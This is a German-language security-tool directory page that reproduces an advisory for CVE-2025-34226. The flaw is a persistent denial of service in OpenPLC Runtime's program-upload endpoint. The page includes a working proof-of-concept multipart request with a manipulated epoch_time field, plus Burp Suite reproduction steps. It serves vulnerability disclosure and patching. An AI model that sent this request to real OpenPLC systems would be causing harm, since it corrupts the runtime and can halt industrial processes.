Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2025-34226 — OpenPLC Runtime leidet unter einer persistenten Denial-of-Service-Schwachstelle (DoS) im /upload-program-action-Endpunkt. | Kitploit
Tools/GitHubGitHub/eyodav/cve-2025-34226
SchwachstellenanalyseExploitationSCADA/ICS-SicherheitWebanwendungs-ExploitationFehlkonfigurationDatenbanksicherheit
GitHubeyodav/cve-2025-34226

CVE-2025-34226

OpenPLC Runtime leidet unter einer persistenten Denial-of-Service-Schwachstelle (DoS) im /upload-program-action-Endpunkt.

Repository anzeigen
vor 10 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2025-34226: Anhaltender DoS in der OpenPLC Runtime

Überblick über die Schwachstelle

FeldWert
CVE-IDCVE-2025-34226
BetrifftOpenPLC Runtime V3
Behoben in(Commit) 095ee09623dd229b64ad3a1db38a901a3772f6fc
SchweregradHoch
CVSS 4.0CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N 7.1 (Hoch)
CWECWE-664 Improper Control of a Resource Through Its Lifetime, CWE-20 Improper Input Validation

Zusammenfassung

OpenPLC Runtime leidet unter einer anhaltenden Denial-of-Service-Schwachstelle (DoS) im Endpunkt /upload-program-action.
Durch das Ändern des Parameters epoch_time während des Programm-Uploads kann ein authentifizierter Benutzer mit geringen Rechten die Backend-Datenbank beschädigen.
Diese Beschädigung deaktiviert zunächst kritische Seiten und verhindert schließlich den Start der gesamten Runtime, wodurch die Anwendung effektiv unbrauchbar wird, bis sie neu installiert wird.


Sicherheitsauswirkungen

  • Anhaltender DoS – Einmal ausgelöst, kann sich das System ohne vollständige Neuinstallation nicht erholen.
  • Datenbankbeschädigung – Der Exploit führt ungültige Werte in die SQLite-Datenbank von OpenPLC ein und zerstört den Runtime-Zustand.
  • Betriebsunterbrechung – In ICS/OT-Kontexten kann dies zu Ausfallzeiten von PLC-verwalteten Prozessen führen.
  • Umgehung von Validierungen – Der Exploit umgeht die Eingabevalidierung, was das Fehlen einer Bereinigung kritischer Parameter zeigt.

Technische Details

Betroffene Versionen

  • Verwundbare Versionen: OpenPLC Runtime ≤ v3 (nicht die neueste Version)
  • Gepatchte Version: behoben durch Commit 095ee09623dd229b64ad3a1db38a901a3772f6fc

Angriffsvektor

Der Endpunkt /upload-program-action akzeptiert ein Feld epoch_time, das ohne Validierung direkt in die Datenbank geschrieben wird.
Wenn dieses Feld auf einen manipulierten oder unsinnigen Wert gesetzt wird (z. B. 1758627838 oder fehlerhafte Daten), speichert OpenPLC einen inkonsistenten Zustand.
Beim Neuladen oder Neustart der Runtime fragt die Anwendung die beschädigte Zeile ab und stößt auf ein NoneType-Objekt → schwerwiegender Absturz (TypeError: 'NoneType' object is not subscriptable).


Proof of Concept

PoC 1: Schädliche Upload-Anfrage (Burp Suite Repeater)

root@kitploit:~
POST /upload-program-action HTTP/1.1
Host: TARGET:8080
Content-Type: multipart/form-data; boundary=----BOUNDARY
Cookie: session=[valid-session-cookie]

------BOUNDARY
Content-Disposition: form-data; name="prog_name"

test
------BOUNDARY
Content-Disposition: form-data; name="prog_descr"

test
------BOUNDARY
Content-Disposition: form-data; name="prog_file"; filename="demo.st"
Content-Type: text/plain

PROGRAM demo
END_PROGRAM
------BOUNDARY
Content-Disposition: form-data; name="epoch_time"

"Just edit here and it will work (e.g "Hello !")"
------BOUNDARY--

Reproduktionsschritte

  1. Öffnen Sie burpsuite
  2. Öffnen Sie den burpsuite-Browser
  3. Rufen Sie die OpenPLC-Oberfläche auf
  4. Authentifizieren Sie sich mit einem Konto mit geringen Rechten.
  5. Laden Sie ein Programm über /programs hoch
  6. Wählen Sie einen beliebigen Namen.
  7. Aktivieren Sie den burpsuite-Proxy
  8. Senden Sie die Anfrage an den Repeater
  9. Bearbeiten Sie den Abschnitt epoch_time und ändern Sie ihn, indem Sie ein zufälliges Zeichen wie „L“ anstelle der ursprünglichen epoch_time verwenden
  10. Senden Sie die neu manipulierte Anfrage.
  11. Beobachten Sie /programs und Sie werden sehen, dass es nicht mehr funktioniert
  12. Danach schlägt manchmal beim Neustart von OpenPLC der Start der Runtime fehl, und es ist unmöglich, OpenPLC danach neu zu starten.

Sofortmaßnahmen

  1. Sofort aktualisieren OpenPLC V3

Referenzen

  • Patch-/Release-Hinweise: [Link zur offiziellen neuesten Version]
  • Schwachstellen-Historie: [Link zur Schwachstellen-Historie]

Danksagungen

Entdeckt von: Eyodav

Tool herunterladen